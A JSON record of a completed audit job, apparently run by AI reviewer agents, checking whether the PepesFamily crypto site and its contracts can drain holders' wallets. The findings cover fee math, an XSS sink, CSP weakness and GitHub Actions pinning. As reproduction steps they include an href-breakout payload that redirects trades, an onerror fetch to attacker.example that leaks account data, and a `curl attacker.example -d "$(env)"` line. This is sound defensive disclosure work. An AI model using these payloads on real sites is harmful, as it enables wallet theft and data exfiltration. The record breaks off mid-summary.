{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"cacfe941-8815-4639-b298-eaf5cbf0ba35","kind":"audit","nodes":[{"acceptedSubmissionHash":"eea8e9b3724535500f0a740ec5192c977d0866577b0a8ef7e437725ab36cce51","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"d214358b6d8b5827af05a8a1ebd4dec2588ba511bfba4b013c816020642cce02","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"cf557e2cf2f6c7aea17f9ef9970f76db38ddada884959a7ae6f994d5993a1d69","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"3ae91f8eef3fcfd655e0f187cdd7bb5f1aa9472fcefa5bff6dc94de75c58fe14","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"cb4e73fce015515b118a0cf301c73ca9a17a62effe0d211566ee950d12c84edc","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"}],"objective":"Audit request: PepesFamily wallet safety (website, repository, claim flow)\n\nRepository: https://github.com/0xtenang/PepesFamily (branch main)\nLive site: https://pepesfamily.fun, deployed from web/ on main via Vercel\nChain: Robinhood Chain (chain ID 4663)\n\nBackground\nHolders earn rewards in IMD or ETH from a 3% fee on every trade and withdraw them with claim(). Many holders don't claim because they're afraid that connecting a wallet to the site, or claiming, could drain it. We want an independent check of whether that's possible, and a clear answer we can share with the community.\n\nThe main question\nCan anything on pepesfamily.fun, or in the contracts it calls, take funds or tokens from a holder's wallet beyond what the holder knowingly approves in a single action?\n\n1. Website (web/index.html, one file)\nPlease list every request the site makes to a wallet, and confirm for each one:\n\nwhat the user is asked to sign;\nwhich contract it goes to;\nhow much it can spend, and whether the amount is exact or unlimited;\nwhether it could be abused later.\nThe requests we know of:\n\nAction\tWallet request\tWhat to check\nConnect\teth_requestAccounts, wallet_switchEthereumChain, wallet_addEthereumChain\tNo signatures and no approvals. EIP-6963 wallet picker.\nClaim rewards (token page and #/rewards)\tclaim() to the token contract, 0 ETH\tNo approval of any kind; rewards go only to the signer.\nBuy with ETH\tbuy / buyWithEth on our routers, with ETH value equal to the amount typed\tThe value sent equals the amount shown.\nBuy with IMD\tapprove(router, amount) on IMD, then buy\tThe approval is for the exact amount, never unlimited.\nSell (v2 and v3 tokens)\tEIP-2612 Permit signature (signTypedData), with an approval fallback\tSpender is our router, value is the exact amount, deadline is 10 minutes.\nSell (v1 tokens such as Pepes)\tsell on the v1 router, no approval\tSee the router exemption in section 2.\nLaunch\tlaunch on the router, with optional ETH value\t\nAdmin page\tcollectProtocolFees, flush, distribute\tFunds can only go to the fixed fee address or to holders, whoever signs.\nPlease also check:\n\nThe page never requests eth_sign, personal_sign, unlimited approvals, setApprovalForAll, Permit2, or any signature beyond those listed above.\nSupply chain: the only external script is ethers 6.13.4 from cdnjs, pinned with a Subresource Integrity hash. There are no other scripts, trackers or analytics.\nContent Security Policy:\nin the page: script-src allows only 'unsafe-inline' and cdnjs; connect-src https:;\nin web/vercel.json: frame-ancestors 'none', plus HSTS, nosniff and no-referrer.\nIs anything too permissive? For example, could 'unsafe-inline' or connect-src https: be abused?\nInjection through user content: token names, symbols, descriptions, image links and social links are written by token creators and stored on-chain. Confirm they're always escaped (esc()), that links are limited to https:// and ipfs:// (safeUrl, ipfsPath), and that no inline event handlers are used.\nAddress and contract integrity: all contract addresses are hard-coded in CONFIG at the top of the file. Can a visitor be tricked into sending a transaction to a different contract, for example through URL parameters (#/t/<address>, #/rewards/<address>) or a fake token page?\nClickjacking: confirm the site can't be framed by another site.\n2. Contracts a holder touches\nPaths are in contracts/src/:\n\nclaim() in PadToken.sol (v3), v2/PadTokenV2.sol and v1/PadTokenV1.sol: confirm it can only pay the caller, can't move the caller's tokens, and can't be used by anyone else to take a holder's rewards.\nv1 router exemption: in v1/PadTokenV1.sol, transferFrom lets the v1 router move tokens without an allowance, so selling takes one step. Confirm the router (PepesFamilyRouter, v1 at 0xA73604EA3C393B47573986ff9Ce5A9EAb61883dC) can only ever pull tokens from its own caller, and that no function or sequence lets one user move another user's tokens.\nRouters (PepesFamilyRouter.sol, PepesFamilyEthRouter.sol): confirm no function can pull a user's tokens or IMD beyond the allowance or permit that user gave for that trade, and that leftover approvals can't be used by anyone else.\nAdmin powers: confirm the owner can't move holder funds, change balances, or redirect rewards in any version.\n3. GitHub repository and deployment\n\nWhat could an attacker change? Anyone who can push to main changes the live site automatically. Please describe the risk, and what protections you'd recommend: branch protection, required reviews, signed commits, 2FA, Vercel settings.\nThe workflow .github/workflows/verify-tokens.yml runs every 15 minutes with permissions: contents: read and runs contracts/script/verify-tokens.sh. Confirm it can't be used to modify the repository or leak secrets.\nSubmodules: forge-std and v4-core are pinned to fixed commits.\nDeployed contracts (all source-verified)\n\nv3: launchpad 0xC5a1f48C03635b83D79667463785bC2c6BcE28cC, router 0x8A9b6A990d13f25F6393aCacfB013F980c763a27, ETH router 0x891B710b36D0bDb1D6B53CB979696EbE43c2d129\nv2: launchpad 0x072Fb5A1B65F30d59BcD11BEeD99803675bCE8CC, router 0x85D6695CBE0BaF221a4BBd39F0b368B893e70D4b, ETH router 0xce3540Bf1D4b219B7B2055508A83B09A0e1df9eF\nv1: launchpad 0x2d7689E48Fd71D9A0f225C673D7b8F8A693368CC, router 0xA73604EA3C393B47573986ff9Ce5A9EAb61883dC, ETH router 0x79eeE0C12C1284bc046e4494Eea6180695F5028A\nPepes token (v1): 0xE2C46c7068566740A33A4C93f5445B07BCfE5644\nWhat we'd like back\n\nA plain-language answer to the main question that we can share with holders: \"Can connecting or claiming drain a wallet? Yes or no, and why.\"\nEvery finding, with a severity and a suggested fix.\nA list of exactly what a user should expect to see in their wallet for each action, so holders can check for themselves.","parentJobId":null,"planHash":"3100ff8f604830b6c9c4011677a70601db1133aa31fa01443107a8c40cbe0142","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"cacfe941-8815-4639-b298-eaf5cbf0ba35","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51032","feedbackHash":"3ffe93cff9431e78d3decfcfe3588d32bd3698f6de31476dd9e5c65fbfcff1ca","nodeKey":"audit_economics","submissionHash":"eea8e9b3724535500f0a740ec5192c977d0866577b0a8ef7e437725ab36cce51","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51504","feedbackHash":"f15c1e7ec5817decff480e2e0e83e419dde53c9feb0885cf3901088cb790ef32","nodeKey":"audit_flow","submissionHash":"d214358b6d8b5827af05a8a1ebd4dec2588ba511bfba4b013c816020642cce02","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50959","feedbackHash":"de88ac7810fd2c719ac68d2ece6639bad76157ddf671be192236a738df29050a","nodeKey":"audit_judge","submissionHash":"cf557e2cf2f6c7aea17f9ef9970f76db38ddada884959a7ae6f994d5993a1d69","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50939","feedbackHash":"a06fde19ffed1d6d0f8abcc45fc8bad88bc2c92498022e05a94a3b18b279111b","nodeKey":"audit_math","submissionHash":"3ae91f8eef3fcfd655e0f187cdd7bb5f1aa9472fcefa5bff6dc94de75c58fe14","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51481","feedbackHash":"9f8de5f7353b8e34c208339e50d194c1c35fb0b540107ff98ad426fcfedc19fe","nodeKey":"audit_permissions","submissionHash":"cb4e73fce015515b118a0cf301c73ca9a17a62effe0d211566ee950d12c84edc","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"085ff175eef025443f197bce76cb4979d164d0ffbbf8731b2596e91e2d372880","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"72b617d4b615473a","findings":[{"citation":"resolved","description":"When the quote is the swap's specified currency (exact-in buy, exact-out sell), `beforeSwap` computes the fee from `params.amountSpecified` before the pool runs, returns it as the specified-side BeforeSwapDelta and mints that many claims in `_chargeFee`. If the swap then stops at the caller's `sqrtPriceLimitX96` (a partial fill), the pool only consumes part of the amount but the fee is still 4% of the full request. Invariant 2 in AUDIT.md (\"exactly 4% of the trader's gross quote amount, +-1 wei\") is broken at the partial-fill boundary; the surplus goes to `pendingProtocolFees`/`pendingHolderFees`, i.e. the trader subsidises holders and the protocol. Seam: boundary (price limit hit) x invariant (fee == 4% of gross). Reachability: PepesFamilyRouter and PepesFamilyEthRouter always pass MIN/MAX price limits, and the curve's own end cannot be reached (the buffer-burned supply means a sell past `startTick` needs tokens that do not exist, it reverts with InsufficientBalance), so only swaps submitted with a binding price limit through a third-party router or a direct PoolManager unlock are affected, and only the trader who chose that limit loses, bounded by 4% of what they requested. In the exact-out sell variant, if the partial payout `poolQuote` is smaller than the up-front fee, line 350 (`poolQuote - fee`) underflows and the swap reverts with a checked-arithmetic panic instead of a clear error. Fix (minimal, preserves the design): in `afterSwap`, when the fee came from FEE_SLOT, compare the executed specified amount with the request (`exactIn ? poolQuote + fee : poolQuote - fee` must equal `uint256(abs(params.amountSpecified))`) and revert with a dedicated error on a partial fill; afterSwap cannot return a specified-side delta, so a refund is not available there. Alternatively document that partially filled fee-up-front swaps overpay.","line":310,"path":"contracts/src/PepesFamily.sol","reproduction":"Fresh deployment with the repository's parameters (ETH start market cap 1.5 ETH). Launch an ETH-quoted token; alice buys with 1 ETH through PepesFamilyRouter. Bob then submits an exact-in buy of 1 ETH through PoolSwapTest (any router that forwards a price limit) with sqrtPriceLimitX96 = getSqrtPriceAtTick(currentTick - 100). Expected: fee == 4% of what Bob actually paid (+-1 wei). Actual (from test_exactInBuy_partialFill_feeIsNot4Percent): Bob pays 52548070343463998 wei in total, of which 40000000000000000 wei is fee = 7612 bps of the executed gross instead of 400. Exact-out variant (test_exactOutSell_partialFill_feeIsNot4Percent): alice and bob each buy 1 ETH; bob sells exact-out 0.5 ETH with limit getSqrtPriceAtTick(currentTick + 2000): the pool pays out 328140962473301603 wei, bob receives 307307629139968270 wei, fee 20833333333333333 wei = 634 bps instead of 400. With a tighter limit such that the payout is below 20833333333333333 wei the swap reverts with a Panic(0x11) at PepesFamily.sol:350. Run: forge test --match-path test/scratch/PartialFillFee.t.sol -vv (fails on current code).","severity":"low","snippet":"        uint256 fee = exactIn ? (amount * FEE_BPS) / BPS : (amount * FEE_BPS) / (BPS - FEE_BPS);","title":"Hook fee taken in beforeSwap is 4% of the requested amount, not of the executed amount: partially filled swaps pay far more than 4%"},{"citation":"resolved","description":"`_setStartTick` bounds the tick by `maxUsableTick(200) - 200 = +-887000`, but the launch liquidity `L = (TOTAL_SUPPLY - 1e9) * 2^96 / (sqrtU - sqrtL)` (token is currency1) or the mirrored formula (token is currency0) grows without bound as the start price moves toward the curve's minimum. The PoolManager rejects liquidity above `tickSpacingToMaxLiquidityPerTick(200)` ~= 3.8e34 per tick with TickLiquidityOverflow. L crosses that at a start tick of about -349300, far inside the accepted range, so the guard does not protect what it claims to (\"an extreme tick can brick launches\", AUDIT.md section 6.3). Owner-only, fail-closed (launch reverts, nothing is mis-priced or lost) and reversible by setting a sane tick again, hence informational; it is also a nonsensical configuration economically (a start market cap of ~1.5e24 quote). Boundary x precision seam: the bound is checked in tick units while the quantity that actually overflows is the liquidity derived from it. Fix: in `_setStartTick` compute the liquidity the launch would use for both currency orderings and revert if it exceeds `Pool.tickSpacingToMaxLiquidityPerTick(TICK_SPACING)` (or fits int128), or simply tighten the bound to +-349_200 which is the last working multiple of 200.","line":457,"path":"contracts/src/PepesFamily.sol","reproduction":"Owner calls setStartTick(address(0), -349400) (passes BadTick: it is a multiple of 200 and within +-887000). Then any `launch(name, symbol, metadata, address(0))` reverts inside `_addLaunchLiquidity` (PoolManager.modifyLiquidity -> TickLiquidityOverflow). Expected: either setStartTick rejects the tick or launches succeed. Actual, measured in a scratch test on the repo's deployment parameters: start tick -349000 and -349200 launch successfully for ETH and for IMD in both currency orderings; -349400, -349600, -350000, -360000 and -887000 all make every launch revert (12/12 IMD launches and the ETH launch). The deployed v3 pad currently uses 203000 (ETH) and 142600 (IMD), which are safe.","severity":"info","snippet":"        if (tick % TICK_SPACING != 0 || tick > limit || tick < -limit) revert BadTick();","title":"setStartTick accepts ticks whose launch liquidity exceeds v4's maxLiquidityPerTick, so every launch for that quote reverts until the owner resets it"},{"citation":"resolved","description":"The routers flush and distribute holder fees before the buyer receives tokens so that the trader never earns from their own trade (PepesFamilyRouter.sol lines 180-181, AUDIT.md section 4). For the first buy of a token nobody holds anything at that moment, so `distribute()` takes the early return and the 3% waits in the token contract unaccounted (`bal > accountedBalance`). After the transaction the same buyer, now the only holder, calls `distribute()` (public, no unlock in progress) and then `claim()` and receives the whole 3% back: the effective fee on the first buy is 1% instead of 4%. The same happens for any trade executed while eligible supply is below MIN_ELIGIBLE_SUPPLY (e.g. right after every holder has sold out). AUDIT.md section 8 already accepts that early fees go to the holders present at the next distribution, so this is reported for the record as a boundary x invariant seam: the invariant 'fee is distributed to holders other than the trader' is enforced by ordering inside the trade but silently skipped by the zero-eligible early return. No third party loses funds (there are no other holders at that moment); the creator effectively gets a 3% rebate on the launch buy that later buyers do not get. Fix options, each a product decision: keep as is and document it on the site; or when `eligible < MIN_ELIGIBLE_SUPPLY` at flush time, route the holder share to `feeRecipient` (or burn it) instead of leaving it in the token contract.","line":210,"path":"contracts/src/PadToken.sol","reproduction":"Launch an IMD-quoted token (no holders). Bob buys with 10 IMD via PepesFamilyRouter.buy: the hook charges 0.4 IMD (0.1 protocol, 0.3 holders); the router's inline flush moves 0.3 IMD into the token contract but distribute() returns 0 because eligibleSupply == 0; withdrawableDividendOf(bob) == 0 after the trade. Bob then calls token.distribute() then token.claim(). Expected per the documented design: bob earns nothing from his own trade (net cost 10 IMD). Actual, measured: withdrawableDividendOf(bob) == 299999999999999999 wei after distribute(), and bob's net cost of the 10 IMD buy is 9700000000000000001 wei (fee effectively 1%). The same sequence via router.launch(..., initialBuy=10e18) gives the creator the rebate.","severity":"info","snippet":"        if (bal <= accountedBalance || eligible < MIN_ELIGIBLE_SUPPLY) return 0;","title":"A trade made while eligibleSupply < 1e18 (always the first buy, typically the creator's launch buy) lets that trader recover their own 3% holder fee; the 'never earns from own trade' statement does no"}],"hash":"3ae91f8eef3fcfd655e0f187cdd7bb5f1aa9472fcefa5bff6dc94de75c58fe14","nodeId":"ca2f76de-86f1-435a-8329-7cdbba05ca95","outcome":"completed","summary":"The review is complete. The findings file is written and verified, and the proof test fails on the current code as required.\n\n**Outcome.** The math audit of the PepesFamily contracts (Math Precision, Boundary and Numerical Gap lenses) found no way for the site or the contracts to take funds beyond what a holder approves. Three defects are recorded in `.imd-findings.json` at the repository root, one low and two informational. No project file was changed.\n\n**Findings written**\n\n- **Low, with proof.** The hook fee in `beforeSwap` is 4% of the requested amount, not the executed one. A swap that stops at a caller-supplied price limit still pays the full up-front fee. Measured on the repo's parameters: a limited 1 ETH buy that executes for 0.0525 ETH pays 0.04 ETH in fee, 76% of gross. A limited exact-out sell pays 6.3%. If the partial payout is smaller than the fee, the sell reverts with an arithmetic panic at the Trade event. Only third-party swaps that pass a binding price limit are affected, and only the trader who chose that limit loses. The project's routers always pass unbounded limits, and the curve's own end cannot be reached because the tokens needed do not exist. Suggested fix: revert in `afterSwap` when the executed specified amount differs from the request.\n- **Info.** The start-tick guard accepts any multiple of 200 within ±887000, but launches revert with TickLiquidityOverflow for start ticks of -349400 and below, for both quote orderings. Owner-only, fail-closed and reversible. The deployed ticks of 203000 and 142600 are safe.\n- **Info.** The first buyer of a token, usually the creator's launch buy, can call `distribute()` then `claim()` and recover their own 3% holder fee, so their effective fee is 1%. A 10 IMD buy nets out at 9.7 IMD. The repository's own brief already accepts this behaviour, so it is recorded for the documentation claim it contradicts.\n\n**Verified as sound (no finding).** Dividend accounting cannot over-pay: per-holder rounding is downward, corrections sum exactly, and the int256 overflow guard needs roughly 1.7e29 wei of quote distributed against 1 eligible token, which exceeds the ETH supply and the on-chain IMD supply of about 43k tokens. Fee splits are exact in all four swap modes. Launch liquidity rounding stays under the 1e9 burned buffer. Selling an entire holding leaves the pool price inside its range. Website amounts use exact approvals, exact permit values, a 10 minute deadline, and quoter-based minimum outputs.\n\n**Verification.** The proof test lives at `contracts/test/scratch/PartialFillFee.t.sol` and its source is embedded in the finding. Both of its cases fail on the current code via `forge test --match-path test/scratch/PartialFillFee.t.sol`. The two informational findings were confirmed with scratch tests that I removed afterwards, with the measured numbers kept in the reproduction text.\n\n**Not covered.** The v1 and v2 launchpads and routers are not in the repository, so the v1 router allowance exemption and the v2 pad's flush path could not be audited from source. The website, repository and deployment sections of the brief outside the math lens were only read for the amount, approval and slippage arithmetic.","treeHash":null,"usage":{"cachedInputTokens":1941180,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":61969,"runtime":"claude","turns":34,"wallClockMs":895684}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3f91b58cf7cd2d45","findings":[{"citation":"resolved","description":"loadTrades() renders the trade table with innerHTML. Every field except one is either decoded by ethers (trader, amounts) or escaped with esc(). The exception is t.hash, which fetchTradeLogs() copies verbatim from the Blockscout API response field i.transaction_hash (line 1641) and inserts into a double-quoted href attribute with no validation and no esc(). The page's CSP (line 6) allows 'unsafe-inline' scripts, so inline event handlers injected through a markup breakout execute. The trust gap: the page treats a third-party HTTPS API (robinhoodchain.blockscout.com) as HTML-safe, while the rest of the page treats all remote strings as hostile. Exploitation needs a compromised or spoofed Blockscout response (DNS/BGP hijack with a mis-issued certificate, or a compromise of the explorer), so the precondition is high, but the consequence is full control of the page: the injected script can overwrite CONFIG.pads[].router / ethRouter so the next Buy or Sell signs a transaction to an attacker contract, or swap the spender in authorizeSell(). Fix: validate and escape before use, e.g. `const hash = /^0x[0-9a-fA-F]{64}$/.test(i.transaction_hash) ? i.transaction_hash : \"\";` in fetchTradeLogs(), and `href=\"${CONFIG.explorer}/tx/${esc(t.hash)}\"` on this line; apply the same rule to any future field copied from an API response.","line":1662,"path":"web/index.html","reproduction":"State: a visitor opens #/t/0xE2C46c7068566740A33A4C93f5445B07BCfE5644 (or any token with trades). Input: the Blockscout logs endpoint `${CONFIG.blockscoutApi}/addresses/<pad>/logs?topic=<tokenTopic>` returns an item whose topics/data decode as a valid Trade event but whose transaction_hash is `0x\" onmouseover=\"CONFIG.pads[0].router='0x1111111111111111111111111111111111111111'` (locally reproducible by serving the page with a fetch stub or a proxy that rewrites that one field). Expected: the row links to the explorer, or the row is dropped as malformed. Actual: the rendered markup becomes `<a href=\"https://robinhoodchain.blockscout.com/tx/0x\" onmouseover=\"CONFIG.pads[0].router='0x1111…'\" target=\"_blank\" …>`; hovering the link runs the handler under the current CSP, and the next Buy on a v3 token calls routerW() against the attacker address with the user's ETH as msg.value.","severity":"low","snippet":"    <td><a href=\"${CONFIG.explorer}/tx/${t.hash}\" target=\"_blank\" rel=\"noopener\">↗</a></td></tr>`).join(\"\")","title":"Blockscout transaction_hash is written into an href attribute without esc(); with script-src 'unsafe-inline' an attribute breakout runs JavaScript that can retarget trades"},{"citation":"resolved","description":"The page has exactly two inline <script> blocks (lines 16-19 and 231-1690) and uses no inline event-handler attributes (the code comment at line 476 says so and a grep confirms it). That is precisely the situation a hash-based CSP is designed for: replacing 'unsafe-inline' with the SHA-256 hashes of the two script bodies keeps the page working while making injected inline handlers and javascript: URLs inert. As written, 'unsafe-inline' turns every HTML sink into a script sink (see the Blockscout transaction_hash finding), and connect-src https: wss: lets injected code post the connected address, balances and any captured data to any host. The two http://127.0.0.1:8545 / http://localhost:8545 origins are development leftovers that have no use in production. Because this is a <meta> policy, frame-ancestors is correctly handled separately in web/vercel.json, but a header-delivered policy would also cover the initial document before parsing and could carry report-to. None of this is exploitable on its own; it is the control that decides whether the single remaining sink above is harmless or total. Fix: compute `sha256` of each inline script body, set `script-src 'sha256-…' 'sha256-…' https://cdnjs.cloudflare.com`, narrow connect-src to the hosts actually used (robinhood-rpc.publicnode.com, rpc.mainnet.chain.robinhood.com for wallets that proxy, robinhoodchain.blockscout.com, the three IPFS gateways are img-src not connect-src), drop the localhost entries, and move the policy into web/vercel.json headers so one policy covers both frame-ancestors and the rest.","line":6,"path":"web/index.html","reproduction":"State: current CSP. Input: any string reaching an innerHTML sink unescaped, e.g. the transaction_hash case above, or a future field copied from an API response, containing `<img src=x onerror=\"fetch('https://attacker.example/?a='+account)\">`. Expected with a hash-based script-src: the browser blocks the handler and logs a CSP violation; the page keeps working because the two legitimate scripts match their hashes. Actual: the handler runs ('unsafe-inline' permits it) and the fetch succeeds (connect-src https: permits any host). Verify the hash approach locally: `python3 -c \"import hashlib,re,base64,sys; s=open('web/index.html').read(); [print('sha256-'+base64.b64encode(hashlib.sha256(m.encode()).digest()).decode()) for m in re.findall(r'<script>(.*?)</script>', s, re.S)]\"` prints the two hashes to place in the policy.","severity":"low","snippet":"<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; script-src 'unsafe-inline' https://cdnjs.cloudflare.com; style-src 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com; img-src 'self' https: data:; connect-src https: wss: http://127.0.0.1:8545 http://localhost:8545; base-uri 'none'; form-action 'none'; object-src 'none'\" />","title":"CSP relies on script-src 'unsafe-inline' and connect-src https: wss:, so any markup injection becomes code execution with unrestricted exfiltration; localhost RPC origins are also left in the producti"},{"citation":"resolved","description":"renderCreate() previews the initial buy with the formula at lines 1385-1389 (virtual quote from padR.startTick(quote), 4% fee, x*y=k), but the transaction passes minTokensOut = 0n. The only state that can move the result is startTick[quote], which the owner may change at any time with setStartTick() (PepesFamily.sol:437; it is an intended owner power and documented as such). Nobody else can affect a pool that does not exist yet, so this is not front-runnable by third parties. The asymmetry is that every other trade on the page passes withSlippage(expected, slipBps) while the launch buy, which can be the largest single buy a creator makes, passes zero. Trust assumption: the owner key (0x3c8A…691C, also the fee recipient) is not malicious and not compromised. Fix: compute the preview amount once in the submit handler and pass `withSlippage(out, 500)` (or the slippage input) instead of 0n.","line":1414,"path":"web/index.html","reproduction":"State: IMD start tick set for a 635 IMD starting market cap (Deploy.s.sol default). A creator previews a 100 IMD initial buy: net 96 IMD, out = 1e27*96/(635+96) ≈ 131.3M tokens, and submits. Input: before the launch transaction is sequenced, the owner calls setStartTick(IMD, tick) for a 6,350 IMD market cap (any aligned tick within bounds is accepted). Expected: the launch reverts with Slippage() because tokensOut (≈ 14.9M) is far below the preview. Actual: minTokensOut is 0, so the launch succeeds and the creator receives ≈ 14.9M tokens for the same 100 IMD, with no on-chain protection. With the suggested fix (minTokensOut ≈ 124.7M at 5%) the same sequence reverts.","severity":"info","snippet":"      const tx = await router.launch($(\"#n\").value.trim(), $(\"#s\").value.trim(), JSON.stringify(m), quote, initialBuy, 0n,","title":"Launch-with-initial-buy sends minTokensOut = 0, so the creator's first buy has no price floor if startTick changes between the preview and the transaction"},{"citation":"resolved","description":"PepesFamily.launch() is permissionless and only checks lengths (PepesFamily.sol:242), so anyone can launch a second token named Pepes / PEPES with the same image and description. The site escapes these strings correctly (no XSS), and every transaction still goes to the hard-coded router of the launchpad that created the token, so this is not a wallet drain: the user gets exactly what they signed for. It does answer the brief's question about a fake token page: a visitor who follows a shared #/t/<impostor> link sees a page that matches the real Pepes page in name, ticker, picture and links, and only the short address and the 'launchpad v3' label (the real Pepes is v1) differ. CONFIG.audits.tokens already knows the canonical Pepes address, so the page has the data to flag the difference. Fix: show a visible 'Unverified / name collides with <link to earlier token>' notice when name or symbol matches an earlier launch on any pad, and show an 'Audited' badge only for addresses present in CONFIG.audits.tokens (today the Audit button falls back to the launchpad report for every token, line 1456, which makes an impostor look audited).","line":1449,"path":"web/index.html","reproduction":"Input: call PepesFamilyRouter.launch(\"Pepes\", \"PEPES\", <metadata JSON copied from token 0xE2C46c70…5644>, address(0), 0, 0) on the v3 router 0x8A9b6A990d13f25F6393aCacfB013F980c763a27 and share https://pepesfamily.fun/#/t/<new address>. Expected: the page warns that another token with this name and ticker exists and that this one is not the audited Pepes token. Actual: the page shows 'Pepes', '$PEPES', the Pepes image and links, and an 'Audit ↗' button that opens the launchpad audit, with no warning; a Buy sends ETH (correctly) to the v3 router for the impostor token.","severity":"info","snippet":"              <div class=\"row\"><h2 style=\"margin:0\">${esc(info.name)}</h2>${pill(q)}</div>","title":"Token pages render creator-chosen name, symbol and image with no impostor warning, so a look-alike launch of an existing token is indistinguishable except by address"},{"citation":"resolved","description":"The brief states the only external script is ethers 6.13.4 from cdnjs with an SRI hash, and that is true for scripts. However the page also loads a stylesheet from fonts.googleapis.com (line 13 preconnect, line 14 link) and font files from fonts.gstatic.com, both allowed by the CSP. CSS cannot execute code and cannot change transactions, so this is not a wallet-safety issue, but it is a privacy and availability dependency: every visitor's IP address, user agent and the referrer policy-permitted information reach Google, and a Google Fonts outage degrades the page. It also means the public statement to holders ('no other scripts, trackers or analytics') should say 'no other scripts; one font stylesheet from Google'. Fix: self-host the three IBM Plex Mono weights under web/ and tighten style-src to 'unsafe-inline' (or a hash) and font-src to 'self'.","line":14,"path":"web/index.html","reproduction":"Input: open https://pepesfamily.fun with the browser network panel open and no wallet connected. Expected per the stated supply-chain model: requests only to pepesfamily.fun, cdnjs.cloudflare.com, robinhood-rpc.publicnode.com and robinhoodchain.blockscout.com. Actual: additional requests to fonts.googleapis.com (CSS) and fonts.gstatic.com (woff2), sending the visitor's IP to Google on every page load.","severity":"info","snippet":"<link href=\"https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&display=swap\" rel=\"stylesheet\" />","title":"Google Fonts is a third external origin loaded on every visit, contradicting the 'only external resource is ethers from cdnjs' statement"},{"citation":"resolved","description":"The workflow is correctly locked down: permissions is contents: read (so GITHUB_TOKEN cannot push, open PRs or write releases), no repository secrets are referenced, and the script only reads public chain state and submits source to Sourcify/Blockscout, which both verify bytecode themselves. It therefore cannot modify the repository or leak secrets, confirming the brief's expectation. The remaining trust is in the two third-party actions resolved by floating tags (actions/checkout@v4 on line 22 and foundry-rs/foundry-toolchain@v1 here). If either tag were re-pointed to malicious code, the runner would execute it every 15 minutes with the read-only token; it could not touch main or the Vercel deployment, but it could burn Actions minutes or abuse the runner. Fix: pin both to full commit SHAs with a version comment, and enable Dependabot for github-actions so the SHAs are refreshed by reviewed PRs. Separately, since anyone who can push to main deploys the live site, the repository settings (not visible in the tree) should enforce branch protection with required reviews, required signed commits, 2FA for all collaborators, and Vercel's production branch locked to main with deployment protection enabled.","line":25,"path":".github/workflows/verify-tokens.yml","reproduction":"State: the schedule trigger fires with the current file. Input: the upstream v1 tag of foundry-rs/foundry-toolchain is moved to a commit that adds `curl attacker.example -d \"$(env)\"` to its action. Expected with SHA pinning: the workflow keeps running the audited commit and the change has no effect. Actual: the next run executes the new code; env contains GITHUB_TOKEN (read-only on a public repo, so no write impact) and no project secrets, so the measurable damage is limited to runner abuse, which is why this is informational rather than a defect.","severity":"info","snippet":"      - uses: foundry-rs/foundry-toolchain@v1","title":"verify-tokens.yml references actions by mutable tags; blast radius is already minimal (contents: read, no secrets) but pinning to commit SHAs removes the remaining supply-chain trust"}],"hash":"cb4e73fce015515b118a0cf301c73ca9a17a62effe0d211566ee950d12c84edc","nodeId":"aced0dd6-4f12-402f-819b-3e540b329ffe","outcome":"completed","summary":"The review is complete. Findings are in `.imd-findings.json` (6 entries, 2 low, 4 info, no critical or 